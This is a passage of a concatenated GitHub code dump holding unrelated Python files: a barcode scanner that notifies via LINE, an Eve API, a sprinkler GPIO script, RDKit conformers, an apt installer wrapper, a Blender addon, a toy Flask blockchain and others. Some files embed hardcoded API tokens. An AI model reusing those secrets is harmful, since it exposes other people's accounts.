read_barcode(image):\n # conbert gray image to bitmap\n retval, bmp = cv2.imencode('.bmp', image)\n if retval == False:\n print(\"Failed to write bitmap file\")\n exit(1)\n\n # convert bmp date to bytes\n binbmp = bmp.tostring()\n\n args = [ 'zbarimg', ':-', '-q' ] \n p = subprocess.Popen( args,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=False\n )\n\n stdout, stderr = p.communicate(input=binbmp)\n if len(stderr) == 0:\n bindata = stdout\n else:\n print('ERR:\\n' + stderr.decode('utf-8'))\n exit(1)\n\n datalines = bindata.splitlines()\n datatype=[]\n dataset=[]\n for dataline in datalines:\n try:\n type, data = dataline.split(b\":\", 1)\n except ValueError:\n continue\n datatype.append(type)\n dataset.append(data)\n return datatype, dataset\n\n\n# Setup VideoCaputre Object\ncap = scorer.VideoCapture(0)\nprint(\"waiting...\")\nwhile True:\n # Read Frame from Camera\n frame = cap.read()\n if frame == None:\n continue\n\n # Convert the Frame to GRAY\n gray = frame.get_gray()\n\n # Show camera image to web \n scorer.imshow(1, gray)\n\n \n # Read Barcode\n bartype, bardata = read_barcode(gray)\n \n barcodelist=\"\"\n # Print the result\n for data in bardata:\n barcodelist = barcodelist + \"-\" + data.decode('utf-8')\n print(data.decode('utf-8'))\n \n if barcodelist!=\"\":\n buffer=barcodelist\n curl = pycurl.Curl()\n curl.setopt(pycurl.URL, 'https://notify-api.line.me/api/notify')\n curl.setopt(pycurl.HTTPHEADER, ['Authorization: Bearer AhfffLL3f1BYUJMnBnV8HZFAuvFS3ztJ65ZQv9UPo5j'])\n #curl.setopt(pycurl.HTTPPOST, [('message', buffer.encode('utf-8')),('imageFile','@lena.png'),('stickerPackageId', '1'), ('stickerId', '112')])\n #curl.setopt(pycurl.HTTPPOST, [('message', buffer.encode('utf-8')),('imageFile', (curl.FORM_FILE, 'lena.png'))])\n curl.setopt(pycurl.HTTPPOST, [('message', buffer.encode('utf-8'))])\n curl.perform()\n\n sleep(10)\n","repo_name":"toriumi/scorer-python","sub_path":"Zbar/zbar.py","file_name":"zbar.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7405310871","text":"import os, bcrypt\nfrom eve import Eve\nfrom flask.ext.bootstrap import Bootstrap\nfrom eve_docs import eve_docs\nfrom eve.auth import BasicAuth\n\nclass BCryptAuth(BasicAuth):\n def check_auth(self, username, password, allowed_roles, resource, method):\n accounts = app.data.driver.db['accounts']\n account = accounts.find_one({'username': username})\n return (\n account and\n bcrypt.hashpw(password, account['password']) == account['password']\n )\n\naccounts = {\n 'public_methods': [],\n 'public_item_methods': [],\n 'schema': {\n 'username': {\n 'type': 'string',\n 'minlength': 5,\n 'required': True,\n 'unique': True\n },\n 'password': {\n 'type': 'string',\n 'required': True\n }\n }\n}\n\ngitcommits = {\n 'datasource': {\n 'default_sort': [('datetime',1)],\n },\n 'schema': {\n 'project': {\n 'type': 'string',\n 'minlength': 3,\n 'maxlength': 50,\n 'required': True,\n },\n 'message': {\n 'type': 'string',\n 'minlength': 5,\n 'required': True,\n },\n 'datetime': {\n 'type': 'datetime',\n 'required': True,\n },\n 'sha1': {\n 'type': 'string',\n 'required': True,\n },\n 'deletions': {\n 'type': 'integer',\n 'required': True,\n },\n 'lines': {\n 'type': 'integer',\n 'required': True,\n },\n 'insertions': {\n 'type': 'integer',\n 'required': True,\n },\n 'files': {\n 'type': 'integer',\n 'required': True,\n },\n }\n}\n\nsettings = {\n #'SERVER_NAME': '127.0.0.1:5000', # dev\n 'SERVER_NAME': 'api.the-huck.com', # prod\n 'MONGO_HOST': 'localhost',\n 'MONGO_PORT': '27017',\n #'MONGO_USERNAME': 'user',\n #'MONGO_PASSWORD': 'user',\n 'MONGO_DBNAME': 'apieve',\n 'RESOURCE_METHODS': ['GET', 'POST', 'DELETE'],\n 'ITEM_METHODS': ['GET', 'PATCH', 'PUT', 'DELETE'],\n 'PUBLIC_METHODS': ['GET'],\n 'PUBLIC_ITEM_METHODS': ['GET'],\n 'CACHE-CONTROL': 'no-cache, max-age=0',\n 'PAGINATION': False,\n 'DOMAIN': {\n 'accounts': accounts,\n 'gitcommits': gitcommits\n }\n}\n\napp = Eve(auth=BCryptAuth, settings=settings)\nBootstrap(app)\napp.register_blueprint(eve_docs, url_prefix='/docs')\n","repo_name":"tschaume/global_gitfeed_api","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42443063981","text":"import sys,time\n\ntry:\n import RPi.GPIO as GPIO\nexcept RuntimeError:\n print(\"Forgot sudo\")\n\nseconds_per_unit = {\"s\": 1, \"m\": 60, \"h\": 3600, \"d\": 86400, \"w\": 604800}\nzone_list = [11,12,13]\n\ndef convert_to_seconds(s):\n return int(s[:-1]) * seconds_per_unit[s[-1]]\n\n\ndef run_zone(zone_id, time_in_seconds):\n\n GPIO.setmode(GPIO.BOARD)\n\n GPIO.setup(zone_list, GPIO.OUT)\n zone = zone_list[int(zone_id) - 1]\n \n GPIO.output(zone,GPIO.HIGH)\n \n time.sleep(time_in_seconds)\n\n GPIO.output(zone,GPIO.LOW)\n\n GPIO.cleanup()\n\n\nif __name__ == '__main__':\n \n if len(sys.argv) < 2 or int(sys.argv[1]) > len(zone_list):\n print(\"bad args\")\n quit()\n\n\n zone = int(sys.argv[1])\n runtime = convert_to_seconds(sys.argv[2])\n descript = \"Zone \" + str(zone) + \" for \" + str(runtime) + \" seconds.\"\n print(descript)\n run_zone(zone, runtime)\n\n","repo_name":"willderness/sprinkler_pi","sub_path":"gpio_zone.py","file_name":"gpio_zone.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25545261390","text":"#!/usr/bin/env python3\n\"\"\"\nConformer generation vi RDKit distance geometry method.\n\nProblem: RDKit hard coded to write to both stderr and stdout. Logging a known issue.\n\"\"\"\n#############################################################################\nimport os,sys,io,re,time,argparse,logging,tempfile\n\nimport rdkit.rdBase\nimport rdkit.Chem\n\nfrom .. import util\nfrom .. import conform\n\n#############################################################################\ndef GenerateConformers(molreader, molwriter, ff, nconf, optiters, etol):\n n_mol=0; n_conf=0;\n for mol in molreader:\n n_mol+=1\n molname = mol.GetProp('_Name') if mol.HasProp('_Name') else ''\n logging.info(f\"{n_mol}. {molname}: {rdkit.Chem.MolToSmiles(mol, isomericSmiles=False)}\")\n ###\n ### redirect sys.stderr\n #fmsg = open(\"/tmp/z.err\", \"w\")\n #old_target, sys.stderr = sys.stderr, fmsg\n ###\n\n mol, confIds = conform.GenerateConformations(mol, nconf, ff, optiters, etol)\n\n ###\n #logging.debug('''fmsg = \"{0}\"'''.format(open(\"/tmp/z.err\").read()))\n #os.remove(\"/tmp/z.err\")\n ### restore sys.stderr\n #sys.stderr = old_target\n ###\n\n for confId in confIds:\n molwriter.write(mol, confId = confId)\n n_conf+=len(confIds)\n logging.info(f\"mols: {n_mol}; confs: {n_conf}\")\n\n#############################################################################\nif __name__==\"__main__\":\n FFS = [\"UFF\", \"MMFF\"];\n MDLEXTS = [\"sdf\", \"sd\", \"mdl\", \"mol\"]\n NCONF=1; OPTITERS=200; ETOL=1e-6;\n OPS = [\"generate\", \"demo\"]\n parser = argparse.ArgumentParser(description=\"RDKit Conformer Generation\", epilog=\"Based on distance geometry method by Blaney et al.\")\n parser.add_argument(\"op\", choices=OPS, help=\"OPERATION\")\n parser.add_argument(\"--i\", dest=\"ifile\", help=\"input file, SMI or SDF\")\n parser.add_argument(\"--o\", dest=\"ofile\", help=\"output SDF with 3D\")\n parser.add_argument(\"--ff\", choices=FFS, default=\"MMFF\", help=\"force-field\")\n parser.add_argument(\"--optiters\", type=int, default=200, help=\"optimizer iterations per conf\")\n parser.add_argument(\"--nconf\", type=int, default=1, help=\"# confs per mol\")\n parser.add_argument(\"--etol\", type=float, default=ETOL, help=\"energy tolerance\")\n parser.add_argument(\"--delim\", default=\" \\t\", help=\"SMILES/TSV delimiter\")\n parser.add_argument(\"--smilesColumn\", type=int, default=0, help=\"\")\n parser.add_argument(\"--nameColumn\", type=int, default=1, help=\"\")\n parser.add_argument(\"--header\", action=\"store_true\", help=\"SMILES/TSV has header line\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0)\n args = parser.parse_args()\n\n logging.basicConfig(format='%(levelname)s:%(message)s', level=(logging.DEBUG if args.verbose>1 else logging.INFO))\n\n logging.info(f\"RDK_VERSION: {rdkit.rdBase.rdkitVersion}\")\n\n t0=time.time()\n\n if args.op == \"demo\":\n fin = tempfile.NamedTemporaryFile(mode=\"w+b\", suffix=\".smi\", delete=False)\n fin.write(b\"NCCc1ccc(O)c(O)c1\\tdopamine\\n\")\n fin.close()\n molreader = rdkit.Chem.SmilesMolSupplier(fin.name, delimiter=args.delim, smilesColumn=args.smilesColumn, nameColumn=args.nameColumn, titleLine=args.header, sanitize=True)\n fout = tempfile.NamedTemporaryFile(delete=False)\n molwriter = rdkit.Chem.SDWriter(fout.name)\n GenerateConformers(molreader, molwriter, args.ff, args.nconf, args.optiters, args.etol)\n print(fout.read().decode('utf8'))\n fout.close()\n os.remove(fin.name)\n os.remove(fout.name)\n else:\n if not (args.ifile and args.ofile): parser.error('--i and --o required.')\n if args.ff.upper() not in FFS: parser.error(f\"Invalid force field: {args.ff}; allowed values: {','.join(FFS)}\")\n\n if re.sub(r'.*\\.', '', args.ifile).lower()=='smi':\n molreader = rdkit.Chem.SmilesMolSupplier(args.ifile, delimiter=args.delim, smilesColumn=args.smilesColumn, nameColumn=args.nameColumn, titleLine=args.header, sanitize=True)\n \n elif re.sub(r'.*\\.', '', args.ifile).lower() in MDLEXTS:\n molreader = rdkit.Chem.SDMolSupplier(args.ifile, sanitize=True, removeHs=True)\n else:\n parser.error(f\"Invalid file extension: {args.ifile}\")\n\n if re.sub(r'.*\\.', '', args.ofile).lower() in MDLEXTS:\n molwriter = rdkit.Chem.SDWriter(args.ofile)\n else:\n parser.error(f\"Invalid file extension: {args.ofile}\")\n\n GenerateConformers(molreader, molwriter, args.ff, args.nconf, args.optiters, args.etol)\n\n logging.info(f\"Total elapsed time: {time.strftime('%Hh:%Mm:%Ss', time.gmtime(time.time()-t0))}\")\n","repo_name":"jeremyjyang/rdkit-tools","sub_path":"rdktools/dgeom/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"32784196720","text":"\"\"\"This file is an \"apt-get\" and \"dpkg\" compliance\ninstaller.\n\nThis following script are aim to install and verify integrity\nof a complete package installation.\n\nThe workflow is at follow:\n - Search (Look for the package to install)\n - Dependencies (Dry run dependencies follow by installation)\n - Package (Dry run install follow by installation)\n - Checksums (Verify integrity)\n - Status (Check installation status)\n\"\"\"\nimport sys\nfrom typing import List, Union, Dict\nfrom dataclasses import dataclass, field\nfrom subprocess import CalledProcessError, check_output, PIPE\n\n\nREQUIRED_PACKAGES = (\"debsums\",) # Main package to install and check\nCOMMANDES = (\n \"apt-cache search {name}\",\n \"apt-get --yes --simulate build-dep {name}\",\n \"apt-get --yes build-dep {name}\",\n \"apt-get --yes --simulate install {name}\",\n \"apt-get --yes install {name}\",\n \"debsums {name}\",\n \"dpkg-query -W -f='{fmt}' {name}\",\n) # commands to perform on each package\n\n\n@dataclass\nclass PackageQuery: # pylint: disable=too-few-public-methods\n \"\"\"A class use to formulate an installation\n request\n \"\"\"\n name: str\n fmt: str = \"${Status}\"\n\n @property\n def as_dict(self) -> Dict:\n \"\"\"return as dictionary\n \"\"\"\n return {\n \"name\": self.name,\n \"fmt\": self.fmt,\n }\n\n\n@dataclass\nclass InstallationErrors:\n \"\"\"This class store a collection of installation\n errors accuring installing multiple packages\n \"\"\"\n errors: List[CalledProcessError] = field(default_factory=list)\n\n def push(self, error: CalledProcessError) -> None:\n \"\"\"Append to error list if error is not None\n\n Arguments:\n error: An error to add\n\n Return:\n void\n \"\"\"\n if error:\n self.errors.append(error)\n\n def __len__(self) -> int:\n \"\"\"Return the length of self.errors\n \"\"\"\n return len(self.errors)\n\n\ndef install(query: PackageQuery) -> Union[CalledProcessError, None]:\n \"\"\"This function trigger a suite case of installation\n process\n\n Argument:\n query: information for commands\n\n Return:\n CalledProcessError if an error occure otherwise None\n \"\"\"\n\n print(f\"- {query.name}\", file=sys.stdout)\n\n for command in COMMANDES:\n try:\n check_output(\n command.format(**query.as_dict).split(),\n universal_newlines=True,\n stderr=PIPE\n )\n except CalledProcessError as error:\n # YOLO I want to return instead of raise\n # to be able to use the instance after\n print(f\"- {query.name} [Failed]\", file=sys.stderr)\n return error\n\n return None\n\n\ndef install_packages(*packages: List[str]) -> InstallationErrors:\n \"\"\"The installation will be triggered by the following\n function and will store error if they ever occure\n\n Arguments:\n packages: A list of Debian based package\n\n Return:\n An InstallationErrors instance\n \"\"\"\n\n print(\"Installing:\", file=sys.stdout)\n\n for package in REQUIRED_PACKAGES:\n error = install(PackageQuery(name=package))\n\n if error:\n # Those package are required to continue\n # in case an error occure while installing\n # we raise the error and stop going futher\n raise error # pylint: disable=raising-bad-type\n\n sentinel = InstallationErrors()\n\n for package in packages:\n error = install(PackageQuery(name=package))\n sentinel.push(error)\n\n return sentinel\n","repo_name":"ChristfriedBalizou/venv","sub_path":"venv/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"32870782372","text":"import bpy\n\nfrom . import (expression, script)\n\n\nclass AUDVIS_PT_animationnodes(bpy.types.Panel):\n bl_space_type = 'NODE_EDITOR'\n bl_region_type = 'UI'\n bl_category = \"AudVis\"\n # bl_options = {'DEFAULT_CLOSED'}\n bl_label = 'AudVis'\n\n @classmethod\n def poll(cls, context):\n if not hasattr(context, \"getActiveAnimationNodeTree\"):\n return False\n if context.getActiveAnimationNodeTree() is None:\n return False\n return True\n\n def draw(self, context):\n col = self.layout.column(align=True)\n col.prop(context.scene.audvis.animation_nodes, \"type\")\n col.operator(AUDVIS_OT_animationnodesMakeNodes.bl_idname)\n if bpy.ops.audvis.animationnodes_fixparticlesdataoutputs.poll():\n col = self.layout.column(align=True)\n col.operator(bpy.ops.audvis.animationnodes_fixparticlesdataoutputs.bl_idname)\n\n\nclass AUDVIS_OT_animationnodesMakeNodes(bpy.types.Operator):\n bl_label = \"Create AudVis Script Node\"\n bl_idname = \"audvis.animationnodes_makenodes\"\n\n @classmethod\n def poll(cls, context):\n return AUDVIS_PT_animationnodes.poll(context)\n\n def _unselect_all(self, node_tree):\n for node in node_tree.nodes:\n node.select = False\n\n def execute(self, context):\n node_tree = context.getActiveAnimationNodeTree()\n self._unselect_all(node_tree)\n type = context.scene.audvis.animation_nodes.type\n if type == 'script':\n script.make_nodes(context)\n elif type == 'expression':\n expression.make_nodes(context)\n bpy.ops.node.translate_attach('INVOKE_DEFAULT')\n return {'FINISHED'}\n\n\nclasses = [\n AUDVIS_PT_animationnodes,\n AUDVIS_OT_animationnodesMakeNodes,\n]\n","repo_name":"example-sk/audvis","sub_path":"ui/animation_nodes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"70"} +{"seq_id":"22075720827","text":"\"\"\"2017 - Day 1 Part 2: Inverse Captcha.\"\"\"\n\n\ndef solve(task: str) -> int:\n \"\"\"Sum all digits that match the halfway around digit in the list.\"\"\"\n result = 0\n task = task.strip()\n shift = len(task) // 2\n\n for i, digit in enumerate(task):\n if digit == task[(i + shift) % len(task)]:\n result += int(digit)\n return result\n","repo_name":"lancelote/advent_of_code","sub_path":"src/year2017/day01b.py","file_name":"day01b.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"4609722990","text":"import socket\nimport json\nfrom urllib.request import urlopen\n\n\ndef get_hostname():\n return socket.gethostname()\n\n\ndef get_local_ip():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(('1.1.1.1', 80))\n ip = s.getsockname()[0]\n return ip\n\n\n# For better connection inside US\ndef get_public_ip_us(url='https://ipinfo.io/json?token=592622f207ab66'):\n ip = json.load(urlopen(url))['ip']\n return ip\n\n\n# For better connection inside CN\ndef get_public_ip_cn(url='http://ip.cip.cc/'):\n ip = urlopen(url).read().decode('utf-8')\n return ip\n\n\n# Bad connection inside CN\ndef get_public_ip_detail(url='https://freegeoip.app/json/'):\n ip_detail = json.load(urlopen(url))\n print(ip_detail)\n # return ip\n\n\n# def fetch_data(url):\n# req = Request(url) # 请求url(GET请求)\n# with urlopen(req) as f: # 打开url请求(如同打开本地文件一样)\n# return json.loads(f.read().decode('utf-8')) # 读数据 并编码同时利用json.loads将json格式数据转换为python对象\n#\n#\n# URL = 'http://ipinfo.io/?token=592622f207ab66'\n# data = fetch_data(URL)\n# print(data)\n\n\nif __name__ == \"__main__\":\n try:\n hostname = get_hostname()\n local_ip = get_local_ip()\n public_ip = get_public_ip_cn()\n except IOError:\n print(\"Error: unable to get ips\")\n else:\n print(\"Hostname: \" + hostname)\n print(\"Local IP: \" + local_ip)\n print(\"Public IP: \" + public_ip)\n","repo_name":"JK117/Pi-Displayer","sub_path":"ip_info.py","file_name":"ip_info.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"27085587668","text":"from pathlib import Path\n\nfrom PyPDF2 import PdfReader, PdfWriter\n\n\nROOT_FOLDER = Path(__file__).parent\nORIGINALS_FOLDER = ROOT_FOLDER / 'pdf_originals'\nNEW_FOLDER = ROOT_FOLDER / 'new_files'\n\nRELATORIO_BACEN = ORIGINALS_FOLDER / 'R20230519.pdf'\n\nNEW_FOLDER.mkdir(exist_ok=True)\n\nreader = PdfReader(RELATORIO_BACEN)\n\npage0 = reader.pages[0]\nimage0 = page0.images[0]\n\nwith open(NEW_FOLDER / image0.name, 'wb') as fp:\n fp.write(image0.data)\n\n\nwriter = PdfWriter()\nwriter.add_page(page0)\n\nwith open(NEW_FOLDER / 'page0.pdf', 'wb') as file:\n writer.write(file)\n","repo_name":"talissonavila/UdemyPython3","sub_path":"pastas/video_327/aula197.py","file_name":"aula197.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42261193079","text":"import datetime\r\nimport copy\r\nimport json\r\nimport requests\r\nfrom dotenv import dotenv_values\r\nfrom flask import Flask, request, render_template\r\nfrom flask_cors import CORS\r\nfrom flask_socketio import SocketIO, send, emit\r\nimport sys\r\nfrom cryptography.hazmat.primitives import serialization as crypto_serialization\r\nfrom cryptography.hazmat.primitives import hashes\r\nfrom cryptography.hazmat.primitives.asymmetric import rsa\r\nfrom cryptography.hazmat.backends import default_backend\r\nfrom cryptography.hazmat.primitives.asymmetric import padding\r\n\r\napp = Flask(__name__, static_folder=\"../build/static\", template_folder=\"../build\")\r\n\r\napp.config['SECRET_KEY'] = 'csk'\r\nconfig = dotenv_values(\"../.env\")\r\nprint(\"\\n\\nRunning on mode {}\\n\\n\".format(config['REACT_APP_MODE']))\r\nsocketIO = SocketIO(app, cors_allowed_origins=\"*\")\r\nCORS(app)\r\n\r\nEMPTY_HASH = '0000000000000000000000000000000000000000000000000000000000000000'\r\nCOINBASE_PUB_KEY = 'COINBASE_PUB_KEY'\r\nCOINBASE_PRI_KEY = 'COINBASE_PRI_KEY'\r\nPORT = sys.argv[1]\r\nconnected_users = []\r\nkey_pair = {}\r\npublic_key = None\r\nprivate_key = None\r\n\r\n\r\n'''\r\nBlockchain Class\r\n'''\r\nclass BlockChain:\r\n def __init__(self):\r\n self.chain = []\r\n self.transactions = []\r\n self.transaction_limit = 10\r\n\r\n def add_transaction(self, sender_private_key, sender_public_key, sender_hash_public_key, receiver_public_key, amount, incentive):\r\n this_transaction = {\r\n 'sender_public_key' : sender_public_key,\r\n 'sender_hash_public_key': sender_hash_public_key,\r\n 'receiver_public_key' : receiver_public_key,\r\n 'amount' : amount,\r\n 'incentive': incentive,\r\n 'timestamp': datetime.datetime.now().isoformat()\r\n }\r\n this_transaction['transaction_hash'] = self.hash_dict(this_transaction, True)\r\n signature = private_key.sign(\r\n json.dumps(this_transaction).encode('utf-8'),\r\n padding.PSS(\r\n mgf=padding.MGF1(hashes.SHA256()),\r\n salt_length=padding.PSS.MAX_LENGTH\r\n ),\r\n hashes.SHA256()\r\n )\r\n\r\n this_transaction['signature'] = signature.hex()\r\n self.transactions.append(this_transaction)\r\n self.broadcast_transaction(this_transaction)\r\n socketIO.emit('transactions', self.transactions, broadcast=True)\r\n \r\n def get_previous_block(self):\r\n return self.chain[-1]\r\n\r\n def hash_dict(self, dict_to_hash, debug):\r\n digest = hashes.Hash(hashes.SHA256())\r\n digest.update(json.dumps(dict_to_hash, sort_keys=True).encode('utf-8'))\r\n hash_value = digest.finalize()\r\n return hash_value.hex()\r\n\r\n def calculate_nonce(self, this_block):\r\n while True:\r\n for i in range(1, 100000000):\r\n this_block['nonce'] = i\r\n this_block['timestamp'] = datetime.datetime.now().isoformat()\r\n if self.hash_dict(this_block, False)[0:3] == '000':\r\n return i \r\n print(\"Not found\")\r\n\r\n def broadcast_transaction(self, transaction_to_broadcast):\r\n for user in connected_users: \r\n if str(user['PORT']) != PORT:\r\n requests.post('http://localhost:{}/api/receive_transaction'.format(user['PORT']), json={\"new_transaction\": transaction_to_broadcast})\r\n\r\n\r\n'''\r\nCreating Instance of the Blockchain\r\n'''\r\nblockchain = BlockChain()\r\n\r\n\r\n'''\r\nApp routes\r\n'''\r\n\r\nif config['REACT_APP_MODE'] == 'PRODUCTION':\r\n @app.route(\"/\")\r\n def server_page():\r\n return render_template('index.html')\r\n\r\n@app.route('/api/update_connected_users', methods=['POST'])\r\ndef update_connected_users():\r\n global connected_users\r\n all_users = request.get_json(force=True)\r\n connected_users = all_users['all_users']\r\n socketIO.emit('connected_users', connected_users, broadcast=True)\r\n return {'success' : 'yes'}\r\n\r\ndef ping_all_users_for_blockchain_update():\r\n for user in connected_users: \r\n if str(user['PORT']) != PORT:\r\n requests.post('http://localhost:{}/api/receive_blockchain_update_ping'.format(user['PORT']))\r\n\r\n@app.route('/api/provide_keys', methods=['POST'])\r\ndef provide_keys():\r\n global key_pair, public_key, private_key\r\n key_pair_data = request.get_json(force=True)\r\n key_pair = key_pair_data['public_private_keys']\r\n private_key_pem = bytes.fromhex(key_pair['private_key'])\r\n public_key_pem = bytes.fromhex(key_pair['public_key'])\r\n\r\n # doing some signature stuff\r\n private_key = crypto_serialization.load_pem_private_key(\r\n private_key_pem,\r\n password=None,\r\n backend=default_backend()\r\n )\r\n\r\n public_key = crypto_serialization.load_pem_public_key(\r\n public_key_pem,\r\n backend=default_backend()\r\n )\r\n socketIO.emit('provide_keys', key_pair, broadcast=True)\r\n return {'success' : 'yes'}\r\n\r\n\r\n@app.route('/api/coin_base_transaction', methods=['POST'])\r\ndef coin_base_transaction():\r\n coin_base_data = request.get_json(force=True)\r\n amount_coinbase = coin_base_data['amount']\r\n is_done = perform_coin_base_transaction(amount_coinbase)\r\n #broadcast this transaction to all nodes\r\n return {'success': 'yes'}\r\n\r\ndef perform_coin_base_transaction(amount_coinbase):\r\n blockchain.add_transaction(COINBASE_PRI_KEY, COINBASE_PUB_KEY, COINBASE_PUB_KEY, key_pair['hash_public_key'], amount_coinbase, 0)\r\n return True\r\n\r\n@app.route('/api/receive_transaction', methods=['POST'])\r\ndef receive_transaction():\r\n transaction_data = request.get_json(force=True)\r\n new_transaction = transaction_data['new_transaction']\r\n blockchain.transactions.append(new_transaction)\r\n socketIO.emit('transactions', blockchain.transactions, broadcast=True)\r\n #broadcast this transaction to all nodes\r\n return {'success': 'yes'}\r\n\r\n@app.route('/api/perform_transaction', methods=['POST'])\r\ndef perform_transaction():\r\n transaction_details = request.get_json(force=True)\r\n transaction_parameters = ['receiver_public_key', 'amount', 'incentive']\r\n if not all (key in transaction_details for key in transaction_parameters):\r\n return {'success': 'no', 'error': 'Not valid body'}\r\n receiver_public_key = transaction_details['receiver_public_key']\r\n if key_not_valid(receiver_public_key):\r\n return {'success': 'no', 'message': \"Receiver Key not valid\"}, 400\r\n transaction_amount = transaction_details['amount']\r\n transaction_incentive = transaction_details['incentive']\r\n blockchain.add_transaction(key_pair['private_key'], key_pair['public_key'], key_pair['hash_public_key'], receiver_public_key, transaction_amount, transaction_incentive)\r\n return {'success': 'yes'}\r\n\r\ndef key_not_valid(receiver_public_key):\r\n for u in connected_users:\r\n if u['hash_public_key'] == receiver_public_key:\r\n return False\r\n return True\r\n\r\n\r\n@app.route('/api/mine_block', methods=['POST'])\r\ndef mine_block():\r\n transactions_list = blockchain.transactions\r\n blockchain.transactions = []\r\n previous_block_hash = 0\r\n block_number = len(blockchain.chain)\r\n if block_number > 0:\r\n previous_block_hash = blockchain.hash_dict(blockchain.get_previous_block(), False)\r\n else:\r\n previous_block_hash = EMPTY_HASH\r\n timestamp = datetime.datetime.now().isoformat()\r\n # Check for each transaction if the sender has the required amount\r\n valid_transactions = []\r\n for transact in transactions_list:\r\n if len(valid_transactions) >= 10:\r\n break\r\n isPos = False\r\n if transact['sender_public_key'] == COINBASE_PUB_KEY:\r\n isPos = True\r\n else:\r\n res = requests.post('http://localhost:{0}/api/check_and_reduce_wallet'.format(public_key_to_port(transact['sender_hash_public_key'])), json=transact).json()\r\n isPos = res['isPos']\r\n \r\n if isPos:\r\n requests.post('http://localhost:{0}/api/increase_wallet'.format(public_key_to_port(transact['receiver_public_key'])), json=transact)\r\n key_pair['wallet'] += transact['incentive']\r\n valid_transactions.append(transact)\r\n else:\r\n blockchain.transactions.append(transact) #rejected transaction\r\n emit_wallet_info()\r\n if len(valid_transactions) > 0:\r\n this_block = {\r\n 'block_number': block_number,\r\n 'timestamp': timestamp,\r\n 'miner_hash_public_key': key_pair['hash_public_key'],\r\n 'transactions_list': valid_transactions,\r\n 'previous_block_hash': previous_block_hash\r\n }\r\n nonce = blockchain.calculate_nonce(this_block)\r\n blockchain.chain.append(this_block)\r\n ping_all_users_for_blockchain_update()\r\n\r\n socket_emit_chain()\r\n socketIO.emit('transactions', blockchain.transactions, broadcast=True)\r\n return {'success': 'yes'}\r\n\r\n@app.route('/api/receive_blockchain_update_ping', methods=['POST'])\r\ndef receive_blockchain_update_ping():\r\n for user in connected_users: \r\n if str(user['PORT']) != PORT:\r\n res = requests.get('http://localhost:{}/api/get_blockchain_and_transactions'.format(user['PORT'])).json()\r\n users_blockchain = res['chain']\r\n if len(blockchain.chain) <= len(users_blockchain):\r\n blockchain.chain = users_blockchain\r\n blockchain.transactions = res['transactions']\r\n socket_emit_chain()\r\n socketIO.emit('transactions', blockchain.transactions, broadcast=True)\r\n return {'success': 'yes'}\r\n\r\n@app.route('/api/check_and_reduce_wallet', methods=['POST'])\r\ndef check_and_reduce_wallet():\r\n transact = request.get_json(force=True)\r\n if key_pair['wallet'] >= (transact['amount'] + transact['incentive']):\r\n key_pair['wallet'] -= (transact['amount'] + transact['incentive'])\r\n emit_wallet_info()\r\n return {'isPos': True} \r\n return {'isPos': False}\r\n\r\n@app.route('/api/increase_wallet', methods=['POST'])\r\ndef increase_wallet():\r\n transact = request.get_json(force=True)\r\n key_pair['wallet'] += transact['amount']\r\n emit_wallet_info()\r\n return {'isPos': False}\r\n\r\n@app.route('/api/get_blockchain_and_transactions', methods=['GET'])\r\ndef get_blockchain_and_transactions():\r\n return {'chain': blockchain.chain, 'transactions': blockchain.transactions}\r\n\r\n\r\n\r\n'''\r\nSocket listen ports & Utilities\r\n'''\r\n\r\n\r\n@socketIO.on('connect')\r\ndef connected():\r\n print('Connected')\r\n\r\n@socketIO.on('disconnect')\r\ndef disconnected():\r\n print('Disconnected')\r\n\r\n@socketIO.on(\"refresh_connected_users\")\r\ndef refresh_connected_users():\r\n socketIO.emit('connected_users', connected_users, broadcast=True)\r\n return None\r\n\r\n@socketIO.on(\"refresh_keys\")\r\ndef refresh_keys():\r\n socketIO.emit('provide_keys', key_pair, broadcast=True)\r\n return None\r\n\r\n@socketIO.on(\"refresh_transactions\")\r\ndef refresh_transactions():\r\n socketIO.emit('transactions', blockchain.transactions, broadcast=True)\r\n return None\r\n\r\n@socketIO.on(\"refresh_blockchain\")\r\ndef refresh_blockchain():\r\n socket_emit_chain()\r\n return None\r\n\r\ndef emit_wallet_info():\r\n socketIO.emit('provide_keys', key_pair, broadcast=True)\r\n\r\ndef socket_emit_chain():\r\n chain_with_block_hash = []\r\n for block in blockchain.chain:\r\n current_block = copy.deepcopy(block)\r\n current_block['block_hash'] = blockchain.hash_dict(current_block, True)\r\n chain_with_block_hash.append(current_block)\r\n socketIO.emit('blockchain', chain_with_block_hash, broadcast=True)\r\n\r\ndef public_key_to_port(public_key_to_convert):\r\n for user in connected_users:\r\n if user['hash_public_key'] == public_key_to_convert:\r\n return user['PORT']\r\n return None\r\n\r\nif __name__ == '__main__':\r\n socketIO.run(app, port = PORT)","repo_name":"RaviMauryaHootowl/ChamaktaSikka","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"41462346472","text":"import requests \r\nimport 